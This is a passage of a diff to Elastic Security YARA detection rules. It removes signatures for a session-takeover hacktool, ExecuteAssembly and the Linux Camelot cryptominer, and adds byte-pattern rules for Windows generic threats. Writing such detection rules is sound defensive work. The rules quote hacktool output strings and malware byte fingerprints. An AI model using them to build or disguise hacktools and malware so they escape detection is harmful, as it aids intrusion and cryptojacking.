+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$guid = "F1DF1D0F-FF86-4106-97A8-F95AAF525C54" ascii wide nocase
-		$print_str0 = "[+] Another user is logged on, asking to take over session" ascii wide fullword
-		$print_str1 = "[+] Execution priv type   :  {0}" ascii wide fullword
-		$print_str2 = "[+] Sleeping for 30 seconds" ascii wide fullword
-		$print_str3 = "[X] Error: A password is required" ascii wide fullword
+		$a1 = { 40 6A 67 72 72 6C 6E 68 6D 67 65 77 77 68 74 69 63 6F 74 6D 6C 77 6E 74 6A 6A 71 68 72 68 62 74 75 64 72 78 7A 63 72 67 65 78 65 70 71 73 7A 73 75 78 6B 68 6E 79 63 74 72 63 63 7A 6D 63 63 69 63 61 61 68 70 66 }
 
 	condition:
-		$guid or all of ($print_str*)
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Executeassembly_F41F4Df6 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_5C18A7F9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Executeassembly (Windows.Hacktool.ExecuteAssembly)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "f41f4df6-03de-4a03-9dfa-4f9d0f51c2de"
-		date = "2023-03-28"
-		modified = "2023-04-23"
+		id = "5c18a7f9-01af-468b-9a63-cfecbeb739d7"
+		date = "2024-01-21"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_ExecuteAssembly.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a468ba2ba77aafa2a572c8947d414e74604a7c1c6e68a0b87fbfce4f8854dd61"
-		logic_hash = "ab72dec636a96338e16fd57f2db4bb52e38fe61315b42c2ffe9c4566fc0326d3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1789-L1807"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fd272678098eae8f5ec8428cf25d2f1d8b65566c59e363d42c7ce9ffab90faaa"
+		logic_hash = "05cea396567ed3e23907dec4e6e3a6629cd1044d9123cde0575a04b73bae6c20"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4875f516551517ec9423f04a9636b65fc717b9e2c9c40379b027ab126e593d23"
-		severity = 100
+		fingerprint = "68c9114ac342d527cf6f0cea96b63dfeb8e5d80060572fad2bbc7d287c752d4a"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$bytes0 = { 33 D8 8B C3 C1 E8 05 03 D8 8B C3 C1 E0 04 33 D8 8B C3 C1 E8 11 03 D8 8B C3 C1 E0 19 33 D8 8B C3 C1 E8 06 03 C3 }
-		$bytes1 = { 81 F9 8E 4E 0E EC 74 10 81 F9 AA FC 0D 7C 74 08 81 F9 54 CA AF 91 75 43 }
+		$a1 = { 55 8B EC 5D E9 CD 1A 00 00 8B FF 55 8B EC 51 FF 75 08 C7 45 FC 00 00 00 00 8B 45 FC E8 03 1B 00 00 59 C9 C3 8B FF 55 8B EC 51 56 57 E8 6B 18 00 00 8B F0 85 F6 74 1C 8B 16 8B CA 8D 82 90 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Camelot_9Ac1654B : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Ab01Ba9E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "9ac1654b-f2f0-4d32-8e2a-be30b3e61bb0"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "ab01ba9e-01e6-405b-8aaf-ae06a8fe2454"
+		date = "2024-01-21"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Camelot.yar#L1-L18"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "5de1f43803f3d3b94149ea39ed961e7b9a1ad86c15c5085e2e0a5f9c314e98ff"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1809-L1829"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2b237716d0c0c9877f54b3fa03823068728dfe0710c5b05e9808eab365a1408e"
+		logic_hash = "cc8d79950e21270938d2ea7e501c7c8fdbebe92767b48b46bb03c08c377e095b"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "156c60ee17e9b39cb231d5f0703b6e2a7e18247484f35e11d3756a025873c954"
-		severity = 100
+		fingerprint = "dd9feb5d5756b3d3551ae21982b5e6eb189576298697b7d7d4bd042e4fc4c74f"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { CD 41 C1 CC 0B 31 D1 31 E9 44 89 D5 44 31 CD C1 C9 07 41 89 E8 }
+		$a1 = { 53 3C 3B 54 24 38 74 23 45 3B 6C 24 2C }
+		$a2 = { 3A 3D 3B 47 3B 55 3B 63 3B 6A 3B 7A 3B }
+		$a3 = { 56 30 61 30 6B 30 77 30 7C 30 24 39 32 39 37 39 41 39 4F 39 5D 39 64 39 75 39 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Camelot_Dd167Aa0 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_917D7645 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "dd167aa0-80e0-46dc-80d1-9ce9f6984860"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "917d7645-f13e-4d66-ab9e-447a19923ab7"
+		date = "2024-01-21"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Camelot.yar#L20-L37"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "88be4fbb337fa866e126021b40a01d86a33029071af7efc289a8c5490d21ea8a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1831-L1849"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "19b54a20cfa74cbb0f4724155244b52ca854054a205be6d148f826fa008d6c55"
+		logic_hash = "65748ff2e4448f305b9541ea9864cc6bda054d37be5ed34110a2f64c8fef30c7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2642e4c4c58d95cd6ed6d38bf89b108dc978a865473af92494b6cb89f4f877e2"
-		severity = 100
+		fingerprint = "557b459c07dc7d7e32cac389673d5ab487d1730de20a9ec74ae9432325d40cd2"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { E7 F2 AE 4C 89 EF 48 F7 D1 48 89 CE 48 89 D1 F2 AE 48 89 C8 48 }
+		$a1 = { 83 E4 E0 56 57 53 81 EC D4 0A 00 00 8B D9 8B F2 BA 1D 00 00 00 FF 73 1C 8D 8C 24 BC 0A 00 00 E8 19 A1 02 00 6A 00 FF B4 24 BC 0A 00 00 8D 8C 24 A8 0A 00 00 E8 D4 06 03 00 8D 8C 24 B8 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Camelot_B25398Dd : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_7A09E97D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "b25398dd-33cc-4ad8-b943-cd06ff7811fb"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "7a09e97d-ccab-48d7-80d3-d76253a4d7e2"
+		date = "2024-01-21"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Camelot.yar#L39-L57"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6fb3b77be0a66a10124a82f9ec6ad22247d7865a4d26aa49c5d602320318ce3c"
-		logic_hash = "e7fdb3c573909e8f197417278a6d333cc3743b05257d81fed46769b185354183"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1851-L1869"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c0c1e333e60547a90ec9d9dac3fc6698b088769bc0f5ec25883b2c4d1fd680a9"
+		logic_hash = "b65b2d12901953c137687a7b466c78e0537a2830c37a4cb13dd0eda457bba937"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6bdcefe93b1c36848b79cdc6b2ff79deb04012a030e5d92e725c87e520c15554"
-		severity = 100
+		fingerprint = "3302bbee32c9968d3131277f4256c5673bec6cc64c1d820a32e66a7313387415"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 04 76 48 8B 44 07 23 48 33 82 C0 00 00 00 48 89 44 24 50 49 8B }
+		$a1 = { 28 00 00 06 2A 3A FE 09 00 00 FE 09 01 00 6F 8D 00 00 0A 2A 00 4A FE 09 00 00 FE 09 01 00 FE 09 02 00 6F 8E 00 00 0A 2A 00 1E 00 28 43 00 00 06 2A 5A FE 09 00 00 FE 09 01 00 FE 09 02 00 FE 09 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Camelot_6A279F19 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Dc4Ede3B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "6a279f19-3c9e-424b-b89e-8807f40b89eb"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "dc4ede3b-d0c7-4993-8629-88753d65a7ad"
+		date = "2024-01-21"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Camelot.yar#L59-L77"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5b01f72b2c53db9b8f253bb98c6584581ebd1af1b1aaee62659f54193c269fca"
-		logic_hash = "91e3c0d96fe5ab9c61b38f01d39639020ec459bec6348b1f87a2c5b1a874e24a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1871-L1889"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c49f20c5b42c6d813e6364b1fcb68c1b63a2f7def85a3ddfc4e664c4e90f8798"
+		logic_hash = "c402d5f16f2be32912d7a054b51ab6dafc6173bb5a267a7846b3ac9df1c4c19f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1c0ead7a7f7232edab86d2ef023c853332254ce1dffe1556c821605c0a83d826"
-		severity = 100
+		fingerprint = "8be5afdf2a5fe5cb1d4b50d10e8e2e8e588a72d6c644aa1013dd293c484da33b"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 F3 89 D6 48 83 EC 30 48 89 E2 64 48 8B 04 25 28 00 00 00 48 89 44 }
+		$a1 = { 55 89 E5 83 EC 28 C7 45 FC 00 00 00 00 C7 44 24 18 00 00 00 00 C7 44 24 14 00 00 00 00 C7 44 24 10 03 00 00 00 C7 44 24 0C 00 00 00 00 C7 44 24 08 00 00 00 00 C7 44 24 04 00 00 00 80 8B 45 08 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Camelot_4E7945A4 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Bb480769 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "4e7945a4-b827-4496-89d8-e63c3141c773"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "bb480769-57fb-4c93-8330-450f563fd4c6"
+		date = "2024-01-21"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Camelot.yar#L79-L97"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b7504ce57787956e486d951b4ff78d73807fcc2a7958b172febc6d914e7a23a7"
-		logic_hash = "aebc544076954fcce917e026467a8828b18446ce7c690b4c748562e311b7d491"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1891-L1909"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "010e3aeb26533d418bb7d2fdcfb5ec21b36603b6abb63511be25a37f99635bce"
+		logic_hash = "1087e0befceac2606ce5dc5f2b42b45ebad888e7d3e451c3fb89de7e932a31f5"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "bb2885705404c7d49491ab39fa8f50d85c354a43b4662b948c30635030feee74"
-		severity = 100
+		fingerprint = "9c58c2e028f99737574d49e47feb829058f6082414b58d6c9e569a50904591e7"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 E5 48 81 EC A0 00 00 00 48 89 7D F0 48 8B 7D F0 48 89 F8 48 05 80 00 }
+		$a1 = { 55 89 E5 C6 45 03 B8 C7 45 08 BA EF BE AD C7 45 0C DE 89 10 BA C7 45 10 EF BE AD DE C7 45 14 89 50 04 B8 C7 45 18 EF BE AD DE C7 45 1C 6A 00 6A 01 C7 45 20 6A 00 FF D0 C7 45 24 B8 EF BE AD C7 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Camelot_29C1C386 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_5Fbf5680 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "29c1c386-c09c-4a58-b454-fc8feb78051d"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "5fbf5680-05c3-4a77-95d7-fa3cae7b4dbe"
+		date = "2024-01-21"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Camelot.yar#L99-L117"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fc73bbfb12c64d2f20efa22a6d8d8c5782ef57cb0ca6d844669b262e80db2444"
-		logic_hash = "1a3a9065cbb59658c06dfbfc622ccd2e577e988370ffe47848a5859f96db4e24"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1911-L1929"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1b0553a9873d4cda213f5464b5e98904163e347a49282db679394f70d4571e77"
+		logic_hash = "ec5399f6fb29125cb4c096851b9194fa35fb1e5ddd1f4d4f07b155471ae5c619"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2ad8d0d00002c969c50fde6482d797d76d60572db5935990649054b5a103c5d1"
-		severity = 100
+		fingerprint = "7cbd8d973f31505e078781bed8067ae8dce72db076c670817e1a77e48dc790fe"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 65 20 62 72 61 6E 63 68 00 00 00 49 67 6E 6F 72 69 6E 67 20 }
+		$a1 = { 83 EC 3C 56 57 8B 45 08 50 E8 51 AF 00 00 83 C4 04 89 45 FC 8B 45 FC 83 C0 58 99 8B C8 8B F2 8B 45 08 99 2B C8 1B F2 89 4D F8 66 0F 57 C0 66 0F 13 45 EC C7 45 DC FF FF FF FF C7 45 E0 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Camelot_25B63F54 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Aa30A738 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "25b63f54-8a32-4866-8f90-b2949f5e7539"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "aa30a738-616b-408c-960f-c0ea897145d0"
+		date = "2024-01-21"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Camelot.yar#L119-L136"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "640ffe2040e382ad536c1b6947e05f8c25ff82897ef7ac673a7676815856a346"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1931-L1949"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7726a691bd6c1ee51a9682e0087403a2c5a798ad172c1402acf2209c34092d18"
+		logic_hash = "64967fbc0e74435452752731a8b9385345cc771d27ee33cd018cccdeb26bb75e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c0bc4f5fc0ad846a90e214dfca8252bf096463163940930636c1693c7f3833fa"
-		severity = 100
+		fingerprint = "d2a4e1d4451d28afcef981f689de3212ff5d9c4ee8840864656082ef272f7501"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 0F 6F 39 66 41 0F 6F 32 66 4D 0F 7E C3 66 44 0F D4 CB 66 45 0F }
+		$a1 = { 55 8B EC 8B 55 0C 85 D2 75 04 33 C0 5D C3 8B 45 08 53 56 8B 75 10 83 FE 08 57 F7 D0 B9 FF 00 00 00 0F 8C D1 00 00 00 8B FE C1 EF 03 8B DF F7 DB 8D 34 DE 89 75 10 0F B6 1A 8B F0 23 F1 33 F3 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Camelot_73E2373E : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_9A8Dc290 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "73e2373e-75ac-4385-b663-a50423626fc8"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "9a8dc290-d9ec-4d52-a4e8-db4ac6ceb164"
+		date = "2024-01-21"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Camelot.yar#L138-L156"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fc73bbfb12c64d2f20efa22a6d8d8c5782ef57cb0ca6d844669b262e80db2444"
-		logic_hash = "2377da6667860dc7204760ee64213cba95909c9181bd1a3ea96c3ad29988c9f7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1951-L1969"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d951562a841f3706005d7696052d45397e3b4296d4cd96bf187920175fbb1676"
+		logic_hash = "0097a13187b953ebe97809dda2be818cfcd94991c03e75f344e34a3d2c4fe902"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6ce73e55565e9119a355b91ec16c2147cc698b1a57cc29be22639b34ba39eea9"
-		severity = 100
+		fingerprint = "e9f42a0fdd778b8619633cce87c9d6a3d26243702cdd8a56e524bf48cf759094"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 45 F8 48 83 7D F8 00 74 4D 48 8B 55 80 48 8D 45 A0 48 89 D6 48 }
+		$a1 = { 6F 01 00 06 FE 0E 0B 00 FE 0C 0B 00 FE 0C 09 00 6F 78 01 00 06 FE 0C 0B 00 FE 0C 08 00 28 F2 00 00 06 6F 74 01 00 06 FE 0C 0B 00 FE 0C 07 00 28 F2 00 00 06 6F 76 01 00 06 FE 0C 0B 00 FE 09 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Camelot_B8552Fff : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Bbf2A354 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "b8552fff-29a9-4e09-810a-b4b52a7a3fb4"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "bbf2a354-64e5-4115-aaf7-2705194445da"
+		date = "2024-01-22"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Camelot.yar#L158-L176"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cdd3d567fbcbdd6799afad241ae29acbe4ab549445e5c4fc0678d16e75b40dfa"
-		logic_hash = "476b800422b6d98405d8bde727bb589c5cae36723436b269beaa65381b3d0abe"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1971-L1989"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b4e6c748ad88070e39b53a9373946e9e404623326f710814bed439e5ea61fc3e"
+		logic_hash = "6be2fae41199daea6b9d0394c9af7713543333a50620ef417bb8439d5a07f336"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "d5998e0bf7df96dd21d404658589fb37b405398bd3585275419169b30c72ce62"
-		severity = 100
+		fingerprint = "8fb9fcf8b9c661e4966b37a107d493e620719660295b200cfc67fc5533489dee"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 18 8B 44 24 1C 8B 50 0C 83 E8 04 8B 0A FF 74 24 28 FF 74 24 28 FF 74 }
+		$a1 = { 54 68 61 74 20 70 72 6F 67 72 61 6D 20 6D 75 73 74 20 62 65 20 72 75 6E 20 75 6E 64 65 72 20 57 69 6E 33 32 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Camelot_83550472 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Da0F3Cbb : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "83550472-4c97-4afc-b187-1a7ffc9acbbc"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "da0f3cbb-e894-48a3-9169-b011e7ab278d"
+		date = "2024-01-22"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Camelot.yar#L178-L196"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d2d8421ffdcebb7fed00edcf306ec5e86fc30ad3e87d55e85b05bea5dc1f7d63"
-		logic_hash = "f62d4a2a7dfb312b2e362844bfa29bd4453a05f31b4f72550ef29ff40ed6fb9d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1991-L2009"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b2c456d0051ffe1ca7e9de1e944692b10ed466eabb38242ea88e663a23157c58"
+		logic_hash = "262d0bbb69adde8c4c8645813b048f3aaa2dbcc83996606e7ca21c3edea2b5d8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "63cf1cf09ad06364e1b1f15774400e0544dbb0f38051fc795b4fc58bd08262d1"
-		severity = 100
+		fingerprint = "f50116e1f153d2a0e1e2dad879ba8bd6ac9855a563f6cbcbe6b6a06a96e86299"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { FA 48 8D 4A 01 48 D1 E9 48 01 CA 48 29 F8 48 01 C3 49 89 C4 48 }
+		$a1 = { 55 8B EC 8B 45 0C 53 56 83 F8 FF 57 8B F1 74 03 89 46 10 8B 7D 08 33 DB 3B FB 75 17 FF 76 04 E8 C6 09 00 00 59 89 5E 04 89 5E 0C 89 5E 08 E9 D9 00 00 00 8B 4E 04 3B CB 75 23 8D 1C 3F 53 E8 7E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Camelot_8799D8D6 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_7D555B55 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "8799d8d6-714b-4837-be60-884d78e3b8f3"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "7d555b55-20fb-42d4-b337-c267a34fd459"
+		date = "2024-01-22"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Camelot.yar#L198-L216"
